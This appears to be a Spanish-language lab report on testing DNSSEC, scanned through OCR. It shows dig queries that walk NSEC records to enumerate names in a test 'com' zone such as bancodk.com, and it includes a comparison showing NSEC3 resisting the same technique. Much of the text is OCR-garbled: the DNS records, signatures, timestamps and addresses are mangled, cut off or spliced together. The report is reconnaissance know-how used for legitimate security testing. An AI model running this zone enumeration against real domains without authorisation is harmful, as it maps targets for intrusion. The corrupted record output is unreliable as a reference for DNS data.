> DiG 9.11.2-5-Debian <<>> AAAA NSEC c.com +dn:
; global option
; Got answer:
->>HEADER< Y, status: NXDOMAIN, id: 14706
flags: qr ¢ ANSWER: ©, AUTHORITY: 6, ADDITION

OPT PSEUDOSECTION:
EDNS: version: 0, flags: do; udp: 4696
;i QUESTION SECTION:
;c.com. IN
; AUTHORITY SECTION:
com. 10800 IN SO0A a.gtld-servers.net.com. admin.com. 201804171 86400 3600 604800 10800)
com 10800 1IN RRSIG SOA 7 1 864000 20180767200904 20180607200904 39398 com. BZQrvYxwgxTl
xtxSas06FHpvhx614kkqR/BuXYXXLaruENLHt3//PGY gtS3VAGrt8Gqz9ef2vsllelopthbFAtCFDNBNR]j2g)cdjNQ6ovONImSH tI5SbVFBM3SLY9)

PZMSTLGtEY/6Gn+uKh4Um1BoPpXt1s rmVPQWS4yGM2 11I=
com. 10800 IN RRSIG NSEC 7 1 10800 20180707200904 20180607200964 39398 com. dn48gquuhzBq|

XZ1/HhYH21UjVXF4xrRSPiW6nFFthUhZ hIhOISST/K8sFMo/CoubgSn7Gz6V2INRI9AIPiY7EWiRriQy907kRFgj w8p/k80BOymrnL
ha12M/PUVSMBWTX3+AK4yvIOuUIPKO2P Pm:
C 10800 IN bancodk.com. NS SOA AAAA RRSIG NSEC DNSKEY
bancodk. com. 10860 IN NSEC 7 2 10800 20180707200904 20180607200964 39398 com. q/aCZ6CtlipC
DV8b/14ImrMm7HFRYNS6Sy6xiaQR7 r+Ind6QSebA+ai6 IkOMsWqZ7d9ve4aKlebglqgfRte6PILZFOrDWt2GFGXrZyak/DKt7sKX Q2kb2CMSGIDgh8
7M/pTmAys0av2PNGY31wXfQereUjZD9InZn04kvajVvs QCY:
bancodk.com. 10800 IN NSEC comunicate.com. NS DS RRSIG NSEC

Query time: 108 msec
i: SERVE 2001:12:7000: :cafe:35#53(2001:12:7000: :cafe:35)
; WHEN: Tue Jul ©3 20:02:26 EDT 2018
i: MSG SIZE rcvd: 654

:~# dig AAAA NSEC d.com +dnssec
;; Warning, extra type option

; <<>> DiG 9.11.2-5-Debian ARAA NSEC d.com +dnssec
;; global options: +cmd

;3 Got answe

;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 23459

;3 flags: qr rd ra ad; QUERY: 1, ANSWER: ©, AUTHORITY: 6, ADDITIONAL: 1

;i OPT PSEUDOSECTION
: version: ©, flags: do; udp: 4696
I0N SECTIO

10800 IN SOA a.gtld-servers.net.com. admin.com. 201804171 86400 3600 604800 10800
10800 IN RRSIG SOA 7 1 864000 20180707200904 20180607200904 39398 com. rVYXWgXT]
XlaruENLHt3//PGY gtS3VAGrt8Gqz9ef2vsllelOpthbFAtCFDNBnRjzgJcdjNQ6ovOn1mSH t15sbVF8M3S1Y9|
ISTLGtEY/6Gn+uKh4Um1BoPpXt1ls rmVPQWS4yGM2 11I=
com. 10800 IN RRSIG NSEC 7 1 10800 20180707200904 20180607200904 39398 com. dn48gquuhzBq
9GWbiQHWPELVXZ1/HhYH21Uj 4xrR5PiW6nFFthUhZ hIhOIS5T/K8sFMo/CoubgSn7Gz6V2INRI9A9piY7EwiRriQy907kRFg) w8p/k80BOymrnL|
gd7ExnLCc2/h412M/PUVSMBWT X3+AK4yvIOUIPKO2P Pms=
com 10800 IN NSEC bancodk.com. NS SOA AAAA RRSIG NSEC DNSKEY
comunicate.com. 10800 IN RRSIG NSEC 7 2 10800 20180707200904 20180607200904 39398 com. Whp2kkeMdv1d
Lb8skNMAatdBz+YyjPSiX10YM2Gfoem9ubySoweerra7 OxtoOrYmlopqu+Bk/sQDjTmZ5a0RN+gk/QBDHQkge57520ME0cenDNpl3 aTuWi/7Zy7KfcY,
295d4uskengl/Pkb9IwMBDMW1dZ+9M7NUYhrUUdEML rha=
comunicate.com. 10800 IN NSEC a.gtld-servers.net.com. NS DS RRSIG NSEC

;; Query time: 112 msec
; SERVE 001:12:7000: : cafe:35#53(2001:12:7000: : cafe:35)
WHEN: Tue Jul 03 20:02
; MSG SIZE rcvd:
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:~# dig AAAA NSEC x.com +dnssec
;; Warning, extra type option

; <<>> DiG 9.11.2-5-Debian <<>> AAAA NSEC x.com +dnssec

;; global options: +cmd

H t answer:

50 >HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 41480

;3 flags: qr rd ra ad; QUERY: 1, ANSWER: ©, AUTHORITY: 6, ADDITIONAL: 1

;; OPT PSEUDOSECTION:

; EDNS: version: ©, flags: do; udp: 4096

;7 QUESTION SECTION:

;X.com. IN NSEC

;3 AUTHORITY SECTION:
com. 10800 IN SOA a.gtld-servers.net.com. admin.com. 201804171 86400 3600 604800 10806

com. 10800 IN RRSIG SOA 7 1 864000 20180707200904 20180607200964 39398 com. BzQrvYxwgxT
xtxSas06]FHpvhx614kkqR/BuXYXXlaruENlHt3//PGY gtS3VAGrt8Gqz9ef2vsllelopthbFAtCFDNBnRjzgJcdjNQ6ovOn1mSH tI5sbVF8M3S1Y9
PzZMSTLGtEY/6Gn+uKh4Um1BoPpXt1lsrmVPQWS4yGM2 11I=

com. 10800 IN RRSIG NSEC 7 1 10800 20180707200904 20180607200964 39398 com. dn48gquuhzBq
9GWbiQHWPE1vXZ1/HhYH21UjVxF4xrR5PiW6nFFthUhZ hIhOIS5T/K8sFMo/CoubgSn7Gz6V2INRI9A9piY7EwiRriQy907kRFgj w8p/k80BOymrn
gd7ExnLCc2/h4I2M/PUVSMBWTX3+AK4yvIOUIPKO2P Pms=

com. 10800 IN NSEC bancodk.com. NS SOA AAAA RRSIG NSEC DNSKEY

networks.com. 10800 IN RRSIG NSEC 7 2 10800 20180707200904 20180607200964 39398 com. fyHcbIpON5+0)
PT5FWo/gIJ12iNQCA7XqQtLH80CcyWrNN3DOcwrnBBUID JiSVChE4+5N21q1Jyk2F90HSbzQp@MDoSSLtXxfwR1rTwCet79VjISys 5sI5KB5tsLuzsd
JE+A6+t+GG1IQOMM2sRcOWPNOlefIDyYZtIPRudqro +zE=

networks.com. 10800 IN NSEC com. NS RRSIG NSEC

;; Query time: 109 msec

;3 SERVER: 2001:12:7000::cafe:35#53(2001:12:7000::cafe:35)
;; WHEN: Tue Jul 03 20:19:45 EDT 2018

;3 MSG SIZE rcvd: 652

El proceso de recolecion de informacion de DNSSEC NSEC3 es similar al
proceso de recolecion de informacion en DNSSEC NSEC, una de los puntos que
difiere el proceso de recolecion de la informacion.

Nombre Enumeracion de dominios por consultas incorrectas
Tipo de prueba Identificacion y explotacion de vulnerablidades
Herramienta Dig

Descripcién

Se utiliza la herramienta dig para comprobar que la enumeracion de
dominios por consultas incorrectas solo se presenta cuando DNSSEC esta
implementado en NSEC.

Resultado

En esta prueba de concepto se realiza sobre el dominio com para
comprobar prueba que DNSSEC con NSEC3 no permite hacer
numeraciéon de zona como vulnerabilidad de NSEC, debido que al
preguntar sobre dominios inexistentes da informacion sobre dominios

existentes.

No se obtuvo informacion.

Evidencia de la prueba de concepto y resultados obtenidos.
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C3PARAM a.com +dn

ADDITIONAL: 1

admin.com

701MT
uTVS1gunSbhpmSho0X0eyxwG0G ze ] VmWOYPAG XRw=
VOK9IRPOINS . com. 10290 IN NSEC3 1 1 001050303F2BECA 71SR4PSLKKTNOK277AQUB924PIBB94RS
24002649 39398
NKHBNVGBLIVDe)5Sekf/ZES 12Nj fOBOCTN
LsH4JiMmIq7S RuQ=
10290 IN
3I562L6HI7UIVON3SRUTLSVNI . com. 10290 IN RASIG
1C0tCx54q)35 UYQ2wO+CeHrd+Spnc
IXrJOVIMrbpitFo. 8H X04
QF831562LOHI7UIVONISRUTLSVNI . com. 1029¢ NSEC3

cafe:35#53(2001:12
2018

EC3PARAM b.com +dn
warning, : option

G 9.11.2-5-Debian
options: +cmd

AAAA NSEC3PARAM b.com +dnssec

opcode: QUERY, status: NXDOMAIN, 8
flags: qr rd ra; QUERY: 1, ANSWER: @, AUTHORITY: 8, ADDITIONAL

OPT PSEUDOSECTION
EDNS on: @, 0 4096
:; QUESTION SECTION
;b.com. NSEC3PARAM

AUTHORITY SECTION:

om 10800 SOA 1d-servers.net.com.

admin.com.

201804171 86400 3600 604800 10800

com 80 IN RRSIG SOA 7 1 864000 20180803002649 20180704002649 39398 com. 062PBzkZTSRg97|

eTmiBNaGBAbglcrzraY/D: 3/pS1Ipm HRS1Lwd4KuxqvMablrfIePo3!
QlZ/b924uhGThb] /wQIh7MPiSYPYKVHY91RD7Y IXE=

6r10StUpasIN/ jbGCibogyNnE

sK7 r+r8viWMB7yue5SisF

4UM914C0SITQTGV7RPEGBVOK9IRPOINS .com. 10800 IN RRSIG NSEC3 7 2 10800 20180803002649

20180704002649 39398 com. NimwLQkV|

j701MTeZax0wLNd fLiRadyMUXBOSIV1CRciqq3g:

mlyDmIC 14XBVxkMw3iEojolzZfVgmxfClj8iMjvi

CWhhgKmpoXwgJTgomoCGV

12yjLnfQjgev

uTVS1gunSbhpmSho0X0eyxwG0IGBGQCX 1 zej vmWoYPAG XRw=
4UM914COSITQTGV7RPEGBVOK9IRPOINS . com. 10800 IN NSEC3 1 1 2001050303F2BECA 71SR4PSLKKTNQK277AQU8924PI8BI4R4 NS DS R
RSIG
0JSCQF83I562L6HI7UIVON3SRUTLSVN3 .com. 10860 IN RRSIG NSEC3 7 2 10800 20180803002649 20180704002649 39398 com. NURNIO
f CRhKtiCDTCX5+qj3s UYQ2wD+CeHrd+5pnqkbWxDZIX66E] roEIIEMZACRS j XMLDE6XKUNOIBEY 0dy9XLGVKNhY|
1MrbpitFOzmZxaBH X04=
0JSCQF83I562L6HI7UIVON3SRUTLSVN3 . com. 16806 IN NSEC3 1 1 20 2001050303F2BECA PQS3MOCVIIFI371SGI4HVIMV17IGEGSO
AAAA RRSIG DNSKEY NSEC3PARAM
10800 IN RRSIG NSEC3 7 2 10800 20180803002649 20180704002649 393 o
GgdANSPC535/Vwt6LPgleTkci/1XLIGHW4ah18 fm/nTESXWP/1KArFaeLuG+LACNKDkzcNALIZRNONbpWOTZK3KPGQWXUN v
9pkMnF79WYr9TplvTC/4LMcrsd1WebovSt1iTbUyn5M2 oAY
RGEAV19LIS8RDPCIISNTNBIISBK1FSFB.com. 10800 IN NSEC3 1 1 2 01050303F2BECA 4UM914C0SITQTGV7RPEGBVOKIIRPOINS NS DS
RSIG

Query time:

154 msec

SERVER: 2001:12:700
WHEN: Tue Jul @3 21:
MSG SIZE rcvd: 1009

fe:35#53(2001:1
2:52 EDT 2018

NSEC3PARAM c.com +dnssec
option

DiG
glob

Got answer:
->>HEADER<<- opcode:

AAAA NSEC3PARAM c.com +dnsse

QUER’ atus: NXDOMAIN, id: 125

Jist 3
flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 6, AD

UDOSECTION:

sion: 0, flags: do; udp

QUESTION SECTION:
;c.com.

IN

AUTHORITY

SECTION:

10800 IN SOA a.gtld-servers.net.com. admin.com. 201884171 86400 3600 604300 10800

10800 IN RRSIG SOA 7 1 864000 20180803002649 20180704002649 39398 ¢
eTmiBNaGBAbq1crzr9Y/DsuoQodxnvmTXX3/pS1Ipm HRS1Lwd4KuxqvMIblrfIePo3B206r10StUpasIN/jbGCiboqyNNEOSKT r
Q12/b924uhGThb] /WQIh7MPiSYPYKVHY91RD7Y IxE=

062PBZKZTSRg97|
+r8VWWMB7yuesSisF

4UM914COSITQTGV7RPEGBVOKIIRPOINS. com. 10800 IN RRSIG NSEC3 7 2 10800 20180803002649 20180704002649 39398 com. NimwLQkV|

j701MTeZax0wLNdfLiRad
uTVSgunSbhpmshooxeey

MUXBOSIV1CRcigq3gS1imlyDmIC i
wG0IGBGQCx12ejvmwoYPAG XRw

VxkMw3iEojolZZfVgmxfClj81Mjvi

CWhhgKmpoXWqJTgOmoCGV 1ZyjLnfQjgev]

4UM914C0SITQTG

7TRPEGBVOK99RPOINS . com. 10800 IN NSEC3 1 1 20 1050303F2BECA 71SR4PSLKKTNQK277AQU8924PI8B94R4 NS DS Rj
RSIG

0JSCQF831562L6HI7UIVEN3SRUTLSYN3. com. 10800 IN RRSIG NSEC3 7 2 10800 20180803002649 201807064002649 39398 com. NURN9I0US

bRNT nBXqL3fEH2VsPad1g3NVBCRAKTICOTCX5+q

uYQ2wD+CeHrd+5pngkb

DZ9X66E] r9EIIE:

ACRS ] XMLD6XKUNB1OEY Ody!

1qzyK4MnA2nATGIGX9Z0QXIXrIOVIMrbpitFOzmZ

xaBH X04=

0JSCQF83I562L6HI7UIVONISRUTLSYN3. com. 10800 IN NSEC3 1 1 20 165036! ECA PQS3MOCVIIFI371SGI4HVIMV17IGE!

AAAA RRSIG DNSKEY NSEC3PARAM

Query time: 122 ms

SERVER: 2001:12:7000::cafe:35#53(2001:12:76000: :caf
WHEN: Tue Jul 03 21:42:55 EDT 2018

MSG SIZE rcvd: 759
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d.com +dnssec

> AAAA NSECIPARAM
global
Got answer
>>HEADER<<- opcode: QUERY, s: NXDOMAIN, id: 60564
s , AUTHORITY: 8, ADDITIONAL

4096

NSEC3PARAM

16800 SO0A a.gtld-servers.net admin.com. 201864171 86400 3600 604800 10800
10800 IN RRSIG  SOA 864000 20180803002649 20180704002649 39398 . 06zPBzkZTsRg97|

q1crzroY/DsuoQodxnvmTXX3/pS1Ipm HRS|Lwd4KuxqvMoblrflePo3B206r10Sty) 1bGCiboqyNNEOSK yue5SisF
6Thb) /wQIh7MP1SYPYKVHY91RD7Y Ix
K9IRPOINS.com. 10800 IN RRSIG NSEC3 7 2 10800 20180803002649 20180704002649 3939 NimwLOkV
701MTeZaxOWLNd fLiRadyMUXBOSIV1CRC1qq3gS1m)yDmIC 14XBVxkMw31Eo]ol22fVgmxfClj81M]jvhx)CWhhgKmpoXwgITgOmOCGY 1ZyjLnfQjgev
UTVS1gunSbhpms BeyxwG0IGBGACX1ze  vimwoYP
PEGBVOKIIRPOINS . com. 10800 IN NSE 2001050303F2BECA 71SR4PSLKKTNOK277AQUS924PIBBIARE NS

B94R4 . com. 10800 IN RRSIG 2 10800 20180803602649 20180704002649 39398 com
2BK6LNMQbYGRMI2r4] §2 n 2)EHZ 1JbFSWaCKmGjpl3fPSwBZoP+gqzF1TYgiad3BrLozCwoLObTX21gpIng zQGstjfq
G6bA1Abd i p Z jngjNX

71SR4PSLKKTNQK2 3 9 10800 IN NSEC3 1 1 20 2001050303F2BECA ISOHTDO8Q394AINONTEQOFIGIUORASCE

0 31562L6HI7UIVONISRUTLSVN 10806 IN RRSIG NSEC3 7 2 10800 20 49 20180704002649 3939 m. nuRN9Ous|
Pad1g3NVBCRhKL1CDLCX5+q YQ2wD+CeHrd+5pnakbi X 9 XMLbEXKUNGLGEY 0dy9XLGVNE

12yKAMNAZNATGIGX9ZOQXIXrIOVIMrbpitFOZnZxaBH X04=

0JSCQF831562L6HI7UIVONISRUTLS 10800 3 20 2001050303F2BECA PQSIMOCVITFI371SGI4HVIMVITIGEESD NS

AAAA RRSIG DNSKEY NSEC3PARAM

Query time: 154 c
SERVER: 2001:12:7000
WHEN
MSG S

x.com +dnssec
Warning, extra type option

<<>> DiG 9.11.2-5-Debian AAAA NSEC3PARAM x.com +dnssec
global options: +cmd
Got answer
->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 18388
flags: qr rd QUERY: 1, ANSWE . AUTHORITY: 8, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4096
; QUESTION SECTION:
;x.com. N NSEC3PARAM

;3 AUTHORITY SECTION:

com. 10800 IN SOA a.gtld-servers.net.com. admin.com. 201804171 86400 3600 604860 10800

com. 10800 IN RRSIG SOA 7 1 864000 20180803002649 20180704002649 39398 com. 06zPBzkZTsRg97|

€TmiBNaGBAbQ1crzroY/DsuoQodxnvmTXX3/pS1Ipm HRS1Lwd4KuxqvMoblrfIePo3B206r105tUpa5IN/jbGCibogyNnEOSKT r+r8vWWMB7yueSSiSF|

Q12/b924uhGThbI/WQTh7MPiSYPYKVHY91RD7Y IXE=

4UM914C0SITQTGV7RPEGBVOKIIRPOINS .com. 10800 IN RRSIG NSEC3 7 2 10800 20180803002649 20180704002649 39398 com. NimwLQkY

axOwLNd fLiRadyMUXBOSIVICRCciqq3gS1mlyDmIC i4XBVxkMw3iEojol2ZfVgmxfClj81Mjvhx]CWhhgKmpoXwgITgomoCGV 1ZyjLnfQjgey]

1gunSbhpmShoOX@eyxwG0IGBGQCX1zej vmWoYPAG XRy

4UM914C0SITQTGV7RPEGBVOK9IRPOINS . com. 10800 IN NSEC3 1 1 20 2001050303F2BECA 71SR4PSLKKTNQK277AQU8924PI8BI4R4 NS DS R}

RSIG

71SR4PSLKKTNQK277AQU8924PIBBI4R4 . com. 10800 IN RRSIG NSEC3 7 2 10800 20180803002649 20180704002649 39398 com. trBGZ2Qo)

0TV2BK6LNMQbYgRMI2r4] j zvzPhnDupRZIEHZBNRDS91/Z18 TIbFSwaCKmG]pl3fPSwBZoP+gqzF1TYgiad3BrLezCwoLObTX21gpIn0 2QGstjfqey7d

0xbIXiG6bA1ADbhp83Tiy+0BpH1SBZSWZXZUNingiNX z/Y=

71SR4PSLKKTNQK277AQU8924PI8BI4R4 . com. 10800 IN NSEC3 1 1 20 2001050303F2BECA ISOHTDOBQ394AINONTEQOFIGIUORASCE

0]SCQF831562L6HI7UIVON3SRUTLSVN3. com. 10800 IN RRSIG NSEC3 7 2 10800 20180803002649 20180704002649 39398 com. nuRn90us

bRNIfncOWUNBXqL3fEH2VSPad1g3NVBCRhKtiCDtCX5+qi3s uYQ2wD+CeHrd+5pngkbWxDZ9X66E] r9EIIEMZaCRS j XMLD6XKUNDIOEY Ody9XLGVKNhY]
K4MNA2NATGIGX9Z0QXIXrIOVIMrbpitFOznZxaBH X04=

0JSCQF831562L6HI7UIVON3SRUTLSVN3. com. 10800 IN NSEC3 1 1 20 2001050303F2BECA PQS3MOCVIIFI371SG4HVIMVIZIGEGS® NS SOA

AAAA RRSIG DNSKEY NSEC3PARAM

Query time: 154 msec
SERVER: 2001:12:7000: : cafe:35#53(2001:12:7000: : caf
WHEN: Tue Jul 03 21:45:51 EDT 2018

MSG SIZE rcvd: 1001

NSEC3PAR

201804171 86400 3600 684800 10800
4602649 39398 com. 062P|
B206r 10StUPaSIN/ | bGC1boqyNNEOSKT r+r8vWME

16800 IN RRSIG 37 2 2618680300264 0704002649 39398 cC
VICRC1qq3gS1mlyDmIC 14XB 1 22fvgmxfCIj8IMjv NgKmpOXWqJ TgOmoC( y

yXwG0JGBGOCX OYPAS XRw=
0303F2BECA 71SR4PSLKKTNOK277AQU8924PIBBI4RA

EC3 7 2 10800 20186803602649 20180704002649 393
WaCKnGjpl3fPSWBZoP+gqzF1TYgiad3Br oLObTX21gpIn0 2

)8B94R4 . com ) 01050303F2BECA
SRUTLSVN3. com SIG NSEC3 7 2 10800 20180803002649 20
Pad1g3NVBCRhKTiCDt qj3s 2wD+CeHrd+5pngkbWxDZIX66E] rIEIIEM.
9Z00xIXrIOVIMrbpi tFOZzmZxaBH X04
JIVON3ISRUTLSVN3. com IN NSEC3 1 0 3 BECA P VIIFI371SG94HVT
RRSIG DNSKEY NSEC3
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:~# dig AAAA NSEC3PARAM baancodk.com +d
warning, extra type option

5-Debi. A NSEC3PARAM k.com +dn
: +cmd

opcode: QUERY, us: NXDOMAIN, id: 43361
rd ra; QUERY: 1, R: @, AUTHORITY: 8, ADDITIONAL: 1

: do; udp: 4096
NSEC3PARAM

UTHORITY SECTION
SOA a.gtld-servers.net.com. admin.com. 201804171 86460 3600 604800 10800
N RRSIG A 7 1 864000 20180803002649 20180704002649 39398 com. 06zPBzKZTsRg97
mTXX3/pS1Ipm HRSLLy uxquMablrfIePo3B206r10StUpa5IN/ jbGCiboqyNnEOSK7 r+r8vWnWMB7yue5SisF

SIG NSEC3 7 2 10800 20180803002649 20180704002649 39398 com. NimwLQkV|
4XBVxkMW31E0jo1ZZfVvgmxfCj81MjvhxjCWhhgKmpoXWqITgOmoCGY 1ZyjLnfQjgev)
0JGBGQCxXL
RPOJIN

94R4.com. 10800 IN RRSIG NSEC3 7 2 10800 2 03002649 20180704002649 39398 com. trBGZ2Qo

HZ8N j8 IIbFSwaCKmGjpl3fPSw8ZoP+9qzF1TYgiad3BrLezCwoLObTX21gpIn0 2QGstjfqey7c
1Abdbhp83Tiy+8BpH1: ZuNjngj =

PJ8B94R4.com. 10860 IN NSEC3 1 1 20 2001650303F2BECA ISOHTDOBQ394AINONTEQOFIGIUOR4SCE

N3.com. 10860 IN RRSIG NSEC3 7 2 10800 20180803002649 20180704002649 39398 com. NuRN90US

NVBCRNKtiCDtCX5+qj3s uYQ2wD+CeHrd+5pnqkbWxDZ9X66E] r9EIIE: RS XMLb6XKUNOiOEY 0dy9XLGVKNhV|
OV1IMrbpitFOzmZxaBH X04=

VN3.com. 16860 IN NSEC3 1 1 20 2001650303F2BECA PQS3MOCVOIFI371SGI4HVIMV17IGE6S® NS SOA

Query time: 157 mse
R: 2001:1 35#53(2001:12:7000: : cafe:35)
AHEN: Tue Jul 03 EDT
SIZE rcvd: 1008

Nombre Enumeracion de dominios por consultas incorrectas

Tipo de prueba | Identificacion y explotacion de vulnerablidades

Herramienta Dig

Descripcion

Se utiliza la herramienta dig, para aprovechar la vulnerabiliad de
DNSSEC con NSEC, que permite enumerar los dominios a partir de
consultas incorrectas.

Resultado

Esta prueba de concepto se realiza sobre el dominio com para
comprobar que DNSSEC con NSEC permite hacer numeracion de zona
como vulnerabilidad de NSEC, debido que al preguntar sobre dominios
inexistentes da informacion sobre dominios existentes.

Se obtuvo que al dominio com, estan asociados subdominio como
bancodk.com, networks.com y comunicate.com.
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Evidencia de la prueba de concepto y resultados obtenidos.

root@debian9:/home/dalia# dig AAAA a.com +dnssec +multiline

; <<>> DiG 9.10.3-P4-Debian <<>> AAAA a.com +dnssec +multiline

;3 global options: +cmd

;3 Got answer:

;3 ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 58227

;3 flags: qr rd ra ad; QUERY: 1, ANSWER: O, AUTHORITY: 4, ADDITIONAL: 1

;3 OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4000
;+ QUESTION SECTION:

;a.com. IN AAAA
;3 AUTHORITY SECTION:
com. 891 IN SOA a.gtld-servers.net. admin.com. (
2018032101 ; serial
86400 ; refresh (1 day)
3600 ; retry (1 hour)
604800 ; expire (1 week)
10800 ; minimum (3 hours)
)
com. 891 IN RRSIG SOA 7 1 864000 (

20180816213558 20180717213558 24782 com.
H5ToEu5hhUd3Uga4cldaFNhuQR85FVU18GJeuoE1xPDO
u3cWORR3/JA1ehDTO/vn/X6pmRIOWE68gOfR+Tcx1HOA
At9jyqlM3+6patezzcE38xqZoU2zBQSCW+7109GZIyoF
1UQEV1zuItPyz02b89n3Q0Xey0dFDuZqxz70UAE= )
com. 891 IN NSEC bancodk.com. NS SOA AAAA RRSIG NSEC DNSKEY
com. 891 IN RRSIG NSEC 7 1 10800 (
20180816213558 20180717213558 24782 com.
UEfiX2xr0BU79]7h9Dk+TuMPEa8Y6Hrhjp8150u+YfZY
J1ssEtKtBLE09cD8nNDG5Va51ibigPpu7nANbs/NV88u
cFBrhBLzE3EeFUpKREDL8nLm5SuheNhkNywawIx8eo2L i
7vHaiWwswyd92Pdulj7yREQPwsywszf+PaYwied= )

;3 Query time: 2808 msec

;3 SERVER: 2001:12:7000::cafe:35#53(2001:12:7000: : cafe:35)
;3 WHEN: Tue Jul 17 20:37:03 -05 2018

;3 MSG SIZE rcvd: 454
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root@debian9:/home/dalia# dig AAAA b.com +dnssec +multiline

; <<>> DiG 9.10.3-P4-Debian <<>> AAAA b.com +dnssec +multiline

;3 global options: +cmd

;3 Got answer:

;3 ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 11669

;3 flags: gr rd ra ad; QUERY: 1, ANSWER: ©, AUTHORITY: 4, ADDITIONAL: 1

;3 OPT PSEUDOSECTION:

; EDNS: version: 0, flags: do; udp: 46000
;3 QUESTION SECTION:

;b.com. IN AAAA

;+ AUTHORITY SECTION:

com. 892 IN SOA a.gtld-servers.net. admin.com. (
20186032101 ; serial

86400 ; refresh (1 day)

3600 ; retry (1 hour)

604800 ; expire (1 week)
10800 ; minimum (3 hours)
)

com. 892 IN RRSIG SOA 7 1 864000 (

20180816213558 20180717213558 24782 com.
H5ToEuShhUd3Ugadc1daFNhuQR85FVU18GIeuoE1xPDO
u3cWORR3/JA1ehDT0O/vn/X6pmRIIWE68g0OfR+fcx1HOA
At9jyqlM3+6patezzcE38xqZoU2zBQSCW+7109GZIyoF
iUQEV1zuItPyz02b89n3Q0Xey0dFDuZqxz7oUAE= )
com. 892 IN NSEC bancodk.com. NS SOA AAAA RRSIG NSEC DNSKEY
com. 892 IN RRSIG NSEC 7 1 10800 (
20180816213558 20180717213558 24782 com.
UEfiX2xr0BU7917h9Dk+TuMPEa8Y6Hrhjp815ou+YfZY
J1ssEtKtBLE09cD8nNDG5Va51ibigPpu7nANbs/NV88u
cFBrhBLzE3EeFUpKREDL8nLm5uheNhkNywawIx8eo2Li
7vHaiWwswyd92Pdulj7yREQPwsywszf+PaYwied= )

;3 Query time: 3148 msec

;+ SERVER: 2001:12:7000::cafe:35#53(2001:12:7000: :cafe:35)
;3 WHEN: Tue Jul 17 20:37:17 -05 2018

;3 MSG SIZE rcvd: 454

root@debian9:/home/dalia# dig AAAA m.com +dnssec +multiline

; <<>> DiG 9.10.3-P4-Debian <<>> AAAA m.com +dnssec +multiline

;3 global options: +cmd

;3 Got answer:

;3 ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 16381

;; flags: qr rd ra ad; QUERY: 1, ANSWER: ©, AUTHORITY: 6, ADDITIONAL: 1

;3 OPT PSEUDOSECTION:

; EDNS: version: 0, flags: do; udp: 4000
;3 QUESTION SECTION:

;m.com. IN AAAA

;3 AUTHORITY SECTION:

com. 892 IN SOA a.gtld-servers.net. admin.com. (
2018032101 ; serial
86400 ; refresh (1 day)

3600 ; retry (1 hour)

604800 ; expire (1 week)
10800 ; minimum (3 hours)
)

com. 892 IN RRSIG SOA 7 1 8646000 (

20180816213558 20180717213558 24782 com.
H5ToEu5hhUd3Uqadc1daFNhuQR85FVU18GJeuoE1xPDO
u3cWORR3/JA1ehDTO/vn/X6pmRIOWE68g0OfR+fcx1HoA
At9jyqM3+6patezzcE38xqZoU2zBQSCW+7109GZIyoF
iUQEV1zuItPyz02b89n3Q0Xey0dFDuZqxz70UAE= )
com. 892 IN NSEC bancodk.com. NS SOA AAAA RRSIG NSEC DNSKEY
com. 892 IN RRSIG NSEC 7 1 10800 (
20180816213558 20180717213558 24782 com.
UEfiX2xr0BU79]7h9Dk+TuMPEa8Y6Hrhjp8150u+YfZY
J1ssEtKtBLE09cD8nNDG5Va51ibigPpu7nANbs/NV88u
cFBrhBLzE3EeFUpKREDL8nLmSuheNhkNywawIx8eo2Li
7vHaiWwswyd92Pdulj7yREQPwsywszf+PaYwied= )
comunicate.com. 892 IN NSEC a.gtld-servers.net.com. NS DS RRSIG NSEC
comunicate.com. 892 IN RRSIG NSEC 7 2 10800 (
20180816213558 20180717213558 24782 com.
VnImDZAbqwm3KRgUvz4SLAUy jwhkiZIR31Gge8pT6V6C
YUdvWXJXA42FhRd456r7ZfoZqPOqtPBVfArX8QPjN6rn
4YmAGoQhiEZQR1wh2is0@iy7huo0ObqGqG5nvM81UPofQ3
AsFOfZbblALbLLwWmSKrNVWInoMehr05x1ZkrthY= )

i Query time: 2876 msec

; SERVER: 2001:12:7000::cafe:35#53(2001:12:7000::cafe:35)
33 WHEN: Tue Jul 17 20:38:06 -05 2018
;3 MSG SIZE rcvd: 672




Nombre Enumeracion de dominios por consultas incorrectas

Tipo de prueba | Identificacion y explotacion de vulnerablidades

Herramienta Dig

Descripcion

Se utiliza la herramienta dig, para aprovechar la vulnerabiliad de
DNSSEC con NSEC, que permite enumerar los dominios a partir de
consultas incorrectas.

Resultado

Esta prueba de concepto se realiza sobre el dominio com para
comprobar que DNSSEC con NSEC permite hacer numeraciéon de zona
como vulnerabilidad de NSEC, debido que al preguntar sobre dominios
inexistentes da informacion sobre dominios existentes.

Se obtuvo que al dominio com, estdn asociados subdominio como
bancodk.com, networks.com y comunicate.com.

Evidencia de la prueba de concepto y resultados obtenidos.

root@debian9:/home/dalia# dig AAAA a.bancodk.com +dnssec +multiline

; <<>> DiG 9.10.3-P4-Debian <<>> AAAA a.bancodk.com +dnssec +multiline
;3 global options: +cmd

;+ Got answer:

;3 ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 10608

;3 flags: qr rd ra ad; QUERY: 1, ANSWER: ©, AUTHORITY: 6, ADDITIONAL: 1

;3 OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4000
;+ QUESTION SECTION:

;a.bancodk.com. IN AAAA
;+ AUTHORITY SECTION:
bancodk.com. 900 IN SOA dnsl.bancodk.com. hostmaster.bancodk.com. (
; serial
9200 ; refresh (15 minutes)
600 ; retry (10 minutes)
86400 ; expire (1 day)
3600 ; minimum (1 hour)
)
bancodk. com. 900 IN RRSIG SOA 8 2 3600 (

20180817013401 20180718003401 14643 bancodk.com.
Oovd+zvZMxRr1qzoULN4mGIwj faMnvGVBF+C4PN1SO6H
zrRV6mBh4vgLKTHFXK/4C060k/cG3XQcV6768Y6n5SDN
wbcqGA718g54Dn23ADx+xM7CUW2AS9j+1WHDSVXMTY]/
/x5c6pUB1ZuGp28qiFT1JL6MVZi3su9+Qe23cMM= )
kpasswd. udp.bancodk.com. 900 IN NSEC dnsl.bancodk.com. SRV RRSIG NSEC
kpasswd. udp.bancodk.com. 960 IN RRSIG NSEC 8 4 3600 (
